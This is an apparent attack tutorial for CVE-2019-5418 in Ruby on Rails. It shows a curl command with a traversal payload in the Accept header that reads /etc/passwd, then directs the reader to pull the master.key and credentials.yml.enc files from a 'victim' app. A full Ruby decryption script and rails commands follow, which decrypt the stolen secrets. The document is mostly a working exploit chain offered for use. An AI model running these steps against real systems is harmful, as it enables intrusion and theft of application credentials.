Expose & Decrypt Ruby on Rails credentials.yml.enc

Ruby on Rails is vulnerable to critical information disclosure using the “Accept” header technique (CVE-2019-5418). This can leak the rails app’s secret credentials via directory traversal.

Expose master key and encrypted credentials

First find a path in the Rails app that uses the render file method. Typically a 404 page implements this to render the view. Read more about the root cause of this vulnerability from chybeta.

Using Burp Suite Repeater or curl request, test vulnerabilty by setting header value to Accept: ../../../../../../etc/passwd{{.

For example:

curl -H 'Accept: ../../../../../../etc/passwd{{' http://vulnerable-site.com/vulnerable-page

If that works, expose the contents of following files:

  • config/master.key (16 byte hex-encoded key)
  • config/credentials.yml.enc (encrypted credentials using AES-GCM-128)

If copying and pasting the output of these from terminal stdout or Burp, make sure any unintended whitespace byte is stripped out of the saved file. Otherwise decryption will be corrupted.

Vim by default adds a newline (\n) byte at end-of-file. To avoid this, run these commands within vim:

:set binary
:set noeol
:wq

Alternatively, if making the HTTP request with curl, use the -o <save as filename> flag to save response bytes directly to a file.

Decrypt the credentials

You have two options to decrypt: write a simple ruby script by patching together snippets from Ruby on Rails source code, or use your own local rails instance to run credentials:edit on these victim files.

Example ruby script to decrypt credentials.yml.enc using master.key:

require "base64"
require "openssl"
require "json"

@cipher = 'aes-128-gcm'
credentials = File.read("credentials.yml.enc")
@key = [File.read("master.key")].pack("H*")
puts @key.length

def new_cipher
  OpenSSL::Cipher.new(@cipher)
end

def decrypt(value)
  cipher = new_cipher
  encrypted_data, iv, auth_tag = value.split("--".freeze).map { |v| ::Base64.strict_decode64(v) }

  cipher.decrypt
  cipher.key = @key
  cipher.iv  = iv
  cipher.auth_tag = auth_tag
  cipher.auth_data = ""

  decrypted_data = cipher.update(encrypted_data)
  decrypted_data << cipher.final
  return decrypted_data
end

decrypted = decrypt(credentials)
puts decrypted

To decrypt with rails’ built-in credentials:edit command, first setup the environment. Use rvm to install ruby 2.5.1 and gem install rails -v 5.2.2. Then run rails new <tmp project name> to initialize a temporary instance of a rails app. Then copy over victim credentials.yml.enc and master.key into the `./config’ folder of the app, overwriting what’s been initialized by default. Finally, this built-in rails command should automatically decrypt and output the contents of the credentials file for you:

EDITOR="vim" bin/rails credentials:edit